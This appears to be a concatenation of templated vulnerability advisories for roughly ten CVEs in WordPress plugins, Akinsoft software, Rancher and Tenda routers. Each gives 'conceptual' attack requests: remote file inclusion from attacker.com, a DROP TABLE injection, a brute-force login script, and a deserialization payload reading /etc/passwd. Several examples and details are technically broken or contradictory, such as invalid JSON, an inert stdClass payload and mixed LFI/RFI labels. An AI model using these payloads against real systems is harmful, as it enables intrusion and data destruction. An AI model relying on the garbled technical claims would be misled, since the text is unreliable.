Author: Ameeba

Overview

The cybersecurity landscape is ever-evolving, with new vulnerabilities emerging regularly. One such vulnerability that has recently been identified and is worth discussing is CVE-2025-53583. This vulnerability pertains to the deserialization of untrusted data in emarket-design’s Employee Spotlight product. In essence, this vulnerability allows for Object Injection, posing a significant risk to users of the product.
This vulnerability impacts versions of Employee Spotlight up to and including 5.1.1. It’s a concern because it carries the potential for a system compromise or data leakage, which could have severe consequences for organizations using the software. The gravity of the situation is reflected in its CVSS Severity Score of 8.1, indicating a high level of severity.

Vulnerability Summary

CVE ID: CVE-2025-53583
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Employee Spotlight | up to and including 5.1.1

How the Exploit Works

The vulnerability pertains to the deserialization of untrusted data, which is a common issue in web applications. In this case, untrusted data is not properly validated by the Employee Spotlight software. An attacker can exploit this by sending malicious serialized objects to the application, which then deserializes it, leading to an Object Injection.
Object Injection can result in various attacks, such as code execution, SQL Injection, Path Traversal, and Denial of Service, depending on the context. In this case, it could lead to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This is a sample HTTP request that an attacker could send to a vulnerable endpoint:

POST /EmployeeSpotlight/api/items HTTP/1.1
Host: vulnerableserver.com
Content-Type: application/json
{ "serializedObject": "rO0ABXNyAC5qYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAAAeHIAJmtvcm5lLnNlcnZlci5Db21tYW5kSW5qZWN0aW9uQXR0YWNrAHzl5Z6pi4ACAARMAANjbWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQACG5ldHN0YXQuZXhl" }

Note that the “serializedObject” in the payload is a Base64 encoded serialized Java object that represents a malicious command. The actual content of this object would be crafted by the attacker to exploit the deserialization vulnerability.

Overview

CVE-2025-2413 is a significant vulnerability that affects Akinsoft ProKuafor versions from s1.02.08 before v1.02.08. This vulnerability allows an attacker to bypass the authentication process due to inadequate restrictions on excessive authentication attempts. It poses a significant threat to the integrity and confidentiality of any system running the affected version of ProKuafor. Given the critical nature of this vulnerability, it is essential for system administrators and security professionals to understand its implications and take immediate remedial action.

Vulnerability Summary

CVE ID: CVE-2025-2413
Severity: High, CVSS Score: 8.6
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Akinsoft ProKuafor | s1.02.08 before v1.02.08

How the Exploit Works

This vulnerability stems from an improper restriction of excessive authentication attempts in Akinsoft ProKuafor. An attacker can exploit this flaw by making repeated authentication attempts, eventually bypassing the system’s authentication mechanism. This could result in unauthorized access to the system, potentially leading to system compromise or data leakage.

Conceptual Example Code

An attacker could leverage this vulnerability by repetitively sending POST requests to the authentication endpoint. The conceptual code below illustrates how such an attack might occur:

POST /auth/login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "admin", "password": "wrong_password" }

In this example, the attacker repeatedly submits incorrect login credentials (i.e., “wrong_password”) to the ‘/auth/login’ endpoint. Due to the vulnerability, the system eventually fails to limit these excessive attempts, allowing the attacker to bypass the authentication.

Mitigation and Prevention

The primary mitigation method for CVE-2025-2413 is to apply the vendor patch. Akinsoft has released a fix for this vulnerability in the newer versions of ProKuafor. All users running affected versions should upgrade immediately.
As a temporary solution or additional security layer, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. These tools can monitor and limit the number of failed authentication attempts, thus offering protection against the vulnerability.
This vulnerability emphasizes the importance of implementing adequate rate-limiting on authentication attempts to prevent brute force attacks. Regular patching and updating of software are also critical in maintaining a secure system environment.

Overview

The latest in a string of high-severity vulnerabilities, CVE-2025-53578, is an ‘Improper Control of Filename for Include/Require Statement in PHP Program’ (also known as ‘PHP Remote File Inclusion’) vulnerability. This flaw, found in gavias Kipso, permits PHP Local File Inclusion, thus creating an opening for potential system compromise or data leakage.
Dealing with a CVSS Severity Score of 8.1, it’s crucial for organisations using gavias Kipso up to and including version 1.3.4 to understand the implications of this vulnerability, its potential effect on their systems, and the steps they can take to mitigate its risks.

Vulnerability Summary

CVE ID: CVE-2025-53578
Severity: High, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

gavias Kipso | up to 1.3.4

How the Exploit Works

The exploit takes advantage of a flaw in the way gavias Kipso processes PHP Include/Require statements. If an attacker can manipulate the filename used in these statements, they can potentially include local files or remote files from a malicious server. Once included, these files will be executed in the context of the application, which could lead to unauthorized access, data leakage, or even a complete system compromise.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited using a HTTP request:

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the attacker is manipulating the ‘file’ parameter in the URL to include a PHP file from a remote server. This file could contain malicious code that would then be executed by the server.

Mitigation and Fixes

Users of gavias Kipso are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, it is also recommended to use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures. These systems can help detect and block attempts to exploit this vulnerability.
Regular updates and patches are the first line of defense against vulnerabilities like CVE-2025-53578. It is crucial to have a robust and proactive cybersecurity strategy that includes regular software updates and continuous monitoring for unusual activity.

Overview

Cybersecurity threats are continuously evolving, and one of the most recent vulnerabilities identified is CVE-2025-57140, affecting rsbi-pom 4.7. This vulnerability is of particular concern due to its high severity score and the potential for system compromise or data leakage. It opens the door for attackers to exploit SQL Injection in the /bi/service/model/DatasetService path. Anyone using rsbi-pom 4.7 should take immediate action to mitigate this severe cybersecurity risk.

Vulnerability Summary

CVE ID: CVE-2025-57140
Severity: High (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

rsbi-pom | 4.7

How the Exploit Works

This vulnerability is a SQL Injection flaw. It occurs when an application, in this case, rsbi-pom 4.7, does not properly sanitize user-supplied inputs before using them in SQL queries. As a result, attackers can inject arbitrary SQL code into the /bi/service/model/DatasetService path. The injected code is executed by the database engine, potentially leading to unauthorized read or write access to the database, system compromise, or even data leakage.

Conceptual Example Code

Here’s a hypothetical example of how an attacker might exploit this vulnerability using a malicious SQL statement in an HTTP request:

POST /bi/service/model/DatasetService HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"dataset": "users",
"filters": "1=1; DROP TABLE users;"
}

In the code example above, the attacker is attempting to delete the ‘users’ table from the database by injecting a ‘DROP TABLE’ SQL statement.

Mitigation and Prevention

The most immediate solution to this vulnerability is to apply the vendor-supplied patch. If that is not immediately possible, a temporary mitigation would be to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block malicious inputs. Additionally, good security practices such as least privilege user access and regular software updates can further reduce the risk of this and similar vulnerabilities.
To conclude, the CVE-2025-57140 vulnerability is a serious threat to any system running rsbi-pom 4.7. Users of the software should take immediate actions to apply the vendor patch or employ temporary mitigation measures.

Overview

The cybersecurity landscape is constantly evolving, with new vulnerabilities emerging daily. One such vulnerability, tagged as CVE-2025-2414, has been discovered in Akinsoft’s OctoCloud software. OctoCloud, a popular cloud management solution, is widely used, making this vulnerability a serious concern for a large number of organizations. This vulnerability allows an attacker to bypass the authentication process, gaining unauthorized access to sensitive data. As such, it is critical for all OctoCloud users to understand the details of this vulnerability and how to mitigate its potential impact.

Vulnerability Summary

CVE ID: CVE-2025-2414
Severity: High – CVSS Score 8.6
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Akinsoft OctoCloud | s1.09.03 – v1.11.01

How the Exploit Works

The CVE-2025-2414 vulnerability stems from an “Improper Restriction of Excessive Authentication Attempts” in Akinsoft’s OctoCloud software. This means that the software does not properly limit or restrict the number of authentication attempts that a user can make. Attackers can exploit this vulnerability to perform a brute force attack, trying numerous combinations of usernames and passwords until they eventually gain access.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited using a brute force attack:

import requests
host = 'target.example.com'
username_list = ['admin', 'root', 'user']
password_list = ['123456', 'password', 'admin123']
for username in username_list:
for password in password_list:
payload = {'username': username, 'password': password}
response = requests.post(f'http://{host}/login', data=payload)
if response.status_code == 200:
print(f'Successfully logged in with {username}:{password}')
break

This example uses a script to send POST requests to the login endpoint of the target server. The script attempts to log in using a list of common usernames and passwords, continuing until it receives a successful response.

Mitigation Measures

The vendor, Akinsoft, has released a patch to resolve this vulnerability. Users are urged to apply this patch immediately. If the patch cannot be applied immediately, users should consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to temporarily mitigate the vulnerability. These systems can help detect and prevent brute force attacks by limiting the number of login attempts from a single source.

Overview

A critical security vulnerability, designated as CVE-2024-58259, has been identified in Rancher Manager, a widely-used open-source tool for managing Kubernetes clusters. This vulnerability can potentially impact any organization or individual that uses Rancher Manager in their infrastructure. It is of particular concern due to the potential for a Denial of Service (DoS) attack, which could lead to system compromise or data leakage, hence, the need for immediate attention cannot be overstated.

Vulnerability Summary

CVE ID: CVE-2024-58259
Severity: High (CVSS: 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, potential system compromise, or data leakage

Affected Products

Product | Affected Versions

Rancher Manager | All versions prior to the patch

How the Exploit Works

The vulnerability lies in Rancher Manager’s lack of enforcement of request body size limits on certain public and authenticated API endpoints. A malicious user could exploit this by sending excessively large payloads, which are fully loaded into memory during processing. This could overload the system’s resources, leading to a Denail of Service (DoS) attack. In worst-case scenarios, this could even lead to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This example shows a malicious payload being sent to a vulnerable endpoint:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"malicious_payload": "[Payload of excessive size]"
}

In this scenario, the malicious payload is of excessive size, which when processed by the server, leads to resource exhaustion and potential DoS.

Mitigation

To mitigate this vulnerability, users are advised to apply the latest patch from the vendor. If a patch is not available, users might consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary solution. These tools can limit the size of incoming payloads, therefore, providing some level of protection against this exploit.
Remember, staying updated with the latest patches and security recommendations is one of the most effective ways to ensure the security of your systems.

Overview

The vulnerability identified as CVE-2025-53576 is a critical security flaw that affects ovatheme Ovatheme Events, a popular event management solution. The vulnerability exists due to the improper control of the filename for Include/Require Statement in PHP Program, leading to a PHP Local File Inclusion (LFI) issue. This vulnerability is significant because it allows an attacker to execute arbitrary PHP code, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53576
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Ovatheme Events | n/a through 1.2.8

How the Exploit Works

The PHP Remote File Inclusion vulnerability arises from the application’s improper control of filenames in the Include/Require Statements of its PHP code. This flaw allows an attacker to manipulate these statements and include a file from a remote server. The included file can contain malicious PHP code that gets executed in the context of the application. This can lead to unauthorized access, data leakage, or even complete system compromise if the application is running with high privileges.

Conceptual Example Code

The following conceptual example demonstrates how an attacker might exploit this vulnerability. The attacker sends a request to a vulnerable endpoint, manipulating the PHP Include/Require Statement to include a malicious PHP file from a remote server.

GET /vulnerable_endpoint.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, `http://attacker.com/malicious_file.php` is a PHP file controlled by the attacker and includes malicious PHP code. When the server processes this request, it includes and executes the malicious code, leading to a successful exploit of the vulnerability.

Mitigation

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts at exploiting this vulnerability. These systems should be configured to detect and prevent the inclusion of files from remote servers. Additionally, developers should ensure their code properly sanitizes user input and restricts the files that can be included to a known safe list. This can help prevent PHP Remote File Inclusion vulnerabilities.

Overview

The vulnerability identified as CVE-2025-9813 is a buffer overflow issue that affects Tenda CH22 1.0.0.1. The flaw resides in the function formSetSambaConf of the file /goform/SetSambaConf and can be remotely exploited. This vulnerability is of particular concern due to its high potential for system compromise and data leakage, especially considering that the exploit is publicly available and might be used in real-world attacks.

Vulnerability Summary

CVE ID: CVE-2025-9813
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda CH22 | 1.0.0.1

How the Exploit Works

The exploit works by manipulating the argument samba_userNameSda in the function formSetSambaConf of the file /goform/SetSambaConf, leading to buffer overflow. An attacker can remotely send a specially crafted request to trigger the vulnerability, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit the vulnerability:

POST /goform/SetSambaConf HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "samba_userNameSda": "A"*1000 } // Buffer overflow by sending a string of 'A's larger than the buffer size

This conceptual code sends an HTTP POST request to the vulnerable endpoint, with a payload that attempts to overflow the buffer by sending an excessively long string of ‘A’s as the samba_userNameSda argument.

Mitigation Measures

The recommended course of action to mitigate the risk posed by this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy, detecting and blocking attempts to exploit this vulnerability. Organizations should also consider implementing a regular patch management strategy and vulnerability scanning to identify and remediate such vulnerabilities promptly.

Overview

The cybersecurity landscape never stays the same for long, with new vulnerabilities being identified regularly. One such recent discovery is the CVE-2025-9812, a critical buffer overflow vulnerability affecting Tenda CH22 1.0.0.1. This vulnerability, due to its potential for system compromise and data leakage, poses a significant threat to any system or organization using this version of Tenda CH22. The importance of understanding and addressing this vulnerability cannot be overstated.

Vulnerability Summary

CVE ID: CVE-2025-9812
Severity: Critical (8.8/10 on the CVSS scale)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda CH22 | 1.0.0.1

How the Exploit Works

The vulnerability exists within the `formexeCommand` function of the `/goform/exeCommand` file in the Tenda CH22 1.0.0.1. By manipulating the `cmdinput` argument, an attacker can cause a buffer overflow. This overflow can lead to unpredictable behavior, including potential system compromise and data leakage. This exploit has been publicly disclosed and can be performed remotely, increasing the ease and potential scope of attacks.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited via a malicious HTTP POST request:

POST /goform/exeCommand HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "cmdinput": "[malicious payload causing buffer overflow]" }

In the above example, the malicious payload is sent via the ‘cmdinput’ field in the HTTP POST request, causing a buffer overflow within the `formexeCommand` function, leading to potential system compromise or data leakage.

Mitigation Guidance

To mitigate this vulnerability, the most effective solution is to apply the vendor-provided patch, if available. If for any reason, the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can be configured to detect and block exploitation attempts, protecting the system until the patch can be applied. However, these measures are not foolproof and cannot substitute the need for patching.

Overview

The rapid growth of the e-commerce industry has led to the widespread use of different web applications to cater to the needs of businesses, one such application being WP Easy Contact. But, just like any other software, WP Easy Contact is not immune to vulnerabilities. One of the severe vulnerabilities affecting it is ‘Deserialization of Untrusted Data,’ which could expose the system to potential compromise or data leakage.
This issue is a cause for concern as it impacts emarket-design WP Easy Contact versions up to 4.0.1, a popular contact management plugin for WordPress used by many online businesses. The vulnerability, classified as CVE-2025-53572, has a CVSS severity rating of 8.1, indicating a high level of severity.

Vulnerability Summary

CVE ID: CVE-2025-53572
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

emarket-design WP Easy Contact | up to 4.0.1

How the Exploit Works

The vulnerability exploits the process of deserialization. Deserialization is the reverse process of serialization, where byte streams are converted back into objects. However, when this process is done on untrusted data, it can lead to Object Injection. The attacker can exploit this by sending malicious serialized objects that, when deserialized, result in behavior that can compromise the system or lead to data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /contact_form_submit HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
form_data=O:8:"stdClass":1:{s:4:"code";s:39:"system('cat /etc/passwd');";}

In this example, the attacker sends a serialized object in the “form_data” parameter that, when deserialized, executes a system command to read sensitive data from the server.

Mitigation

The best way to mitigate this vulnerability is to apply the vendor-provided patch. If the patch is not immediately available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can detect and block known malicious serialized objects, effectively mitigating the threat. However, they should not be seen as a long-term solution, and patching the system should be a priority.